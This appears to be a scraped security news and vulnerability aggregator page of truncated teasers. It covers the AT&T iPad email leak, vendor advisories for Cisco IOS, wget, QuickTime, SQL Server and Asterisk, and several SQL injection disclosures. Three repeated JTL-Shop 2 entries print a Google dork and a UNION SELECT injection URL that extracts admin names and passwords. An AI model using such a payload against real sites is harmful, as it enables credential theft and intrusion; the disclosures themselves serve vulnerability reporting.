2daybiz Custom T-Shirt SQL Injection / Cross Site Scripting

$------------------------------------------------------------------------------------------------------------------- $ 2daybiz custom T-shirt SQL Injection and Cross Site Scripting Vulnerabilities $ Author : Sangteamtham $ Home : Hcegroup.net $ Download...

AT&T Show How Not to Handle a Data Breach

There’s an ongoing argument in barrooms, pubs and wherever else soccer fans gather about who is the best player in the world. The general consensus right now is Lionel Messi, the Argentinian genius, but others can build a case for Wayne Rooney, Didier Drogba or even Cristiano Ronaldo. A similar...

Goatse Hacker Member Arrested on Drug Charges

A hacker in the Goatse Security group that discovered the AT&T iPad-related flaw was arrested following the execution of an FBI search warrant of his home in Arkansas. Read the full article. CNet...

Microsoft SQL Server Backup Restoring Memory Corruption (MS08-040; CVE-2008-0107)

Microsoft SQL Server is a relational database management system RDBMS. Microsoft SQL Server uses Transact-SQL T-SQL, a proprietary extension to Structured Query Language SQL, for querying and modifying data and managing databases. SQL Server can be remotely access via the Tabular Data Stream TDS...

AT&T iPad Hack May Be Worse Than Initially Thought

Researchers looking into the security of GSM phone networks are suggesting that the recent breach, which saw tens of thousands of e-mail addresses and ICC-IDs inadvertantly disclosed AT&T, could have far more significant implications than a bit of extra spam: attackers can use the information to...

The Pitfalls of Website Vulnerability Research and Disclosure

Vulnerability disclosure is in the spotlight again. First it was Tavis Ormandy disclosing a vulnerability in Microsoft Windows before Microsoft had a fix available. Now a group called Goatse Security has disclosed a vulnerability in an AT&T website that affects Apple iPad 3G owners. The Wall Stre...

FBI Probes AT&T iPad Goatse Email Leak

The U.S. Federal Bureau of Investigation has opened an investigation into the leak of an estimated 114,000 Apple iPad user e-mail addresses including those of Chief of Staff Rahm Emanuel, ABC ABC News anchor Diane Sawyer and NY Mayor Michael Bloomberg. Read the full article. IDG News Service...

CPA Lead Script SQL Injection

In The Name Of Allah The Mercifull Tybe: SQL Injection Vulnerabilities Vendor: www.v-eva.com + Software: CPA Lead Script + author: R3d-D3v!L + TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ----4.!.5 ? contact: Xathotmail.co.jp - ? Date: 14.Jan.2010 ? T!ME: 05:15 am GMT ? Home: © Offensive Security ?...

Press Release Script - 'page.php?id' SQL Injection

In The Name Of Allah The Mercifull Tybe: SQL Injection Vulnerabilities Vendor: www.v-eva.com + Software: Press Release Script + author: R3d-D3v!L + TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ----4.!.5 ? contact: Xathotmail.co.jp - ? Date: 14.Jan.2010 ? T!ME: 05:15 am GMT ? Home: © Offensive Security ?...

iPhone AT&T WiFi Settings Open to MiTM Attacks

A security researcher has discovered that any wireless network can pretend to be an AT&T Wi-Fi hot spot and thus lure unsuspecting iPhone users to an untrusted network connection. Read the full article. CNet...

Cisco Security Advisory: Cisco IOS Software IPsec Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Cisco IOS Software IPsec Vulnerability Advisory ID: cisco-sa-20100324-ipsec Revision 1.0 For Public Release 2010 March 24 1600 UTC GMT +--------------------------------------------------------------------- Summary ======= A...

qscan NSE Script

Repeatedly probe open and/or closed ports on a host to obtain a series of round-trip time values for each port. These values are used to group collections of ports which are statistically different from other groups. Ports being in different groups or "families" may be due to network mechanisms...

Debian DSA-1904-1 : wget - insufficient input validation

Daniel Stenberg discovered that wget, a network utility to retrieve files from the Web using HTTPS and FTP, is vulnerable to the 'Null Prefix Attacks Against SSL/TLS Certificates' published at the Blackhat conference some time ago. This allows an attacker to perform undetected man-in-the-middle...

Apple QuickTime MOV File JVTCompEncodeFrame Heap Overflow (CVE-2007-2295)

Apple QuickTime is a multimedia player that supports a wide range of media formats. The software supports parsing and displaying picture files as well as numerous audio/video formats. One of the supported video format is the ITU-T H.264 standard, also known as MPEG-4 Part 10 or Advanced Video...

JTL-Shop 2 SQL Injection

JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concatcName,0x3a,cPass,7,8,9 from tadminlogin-...

JTL-Shop 2 - druckansicht.php SQL Injection

JTL-Shop 2 - druckansicht.php SQL Injection JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select...

JTL-Shop 2 - 'druckansicht.php' SQL Injection

JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concatcName,0x3a,cPass,7,8,9 from tadminlogin-...

Asterisk T.38 Negotiation Remote DoS Vulnerability (AST-2010-001)

Asterisk is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:digium:asterisk";...

CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...

DEBIAN-CVE-2010-0441

Asterisk Open Source 1.6.0.x before 1.6.0.22, 1.6.1.x before 1.6.1.14, and 1.6.2.x before 1.6.2.2, and Business Edition C.3 before C.3.3.2, allows remote attackers to cause a denial of service daemon crash via an SIP T.38 negotiation with an SDP FaxMaxDatagram field that is 1 missing, 2 modified ...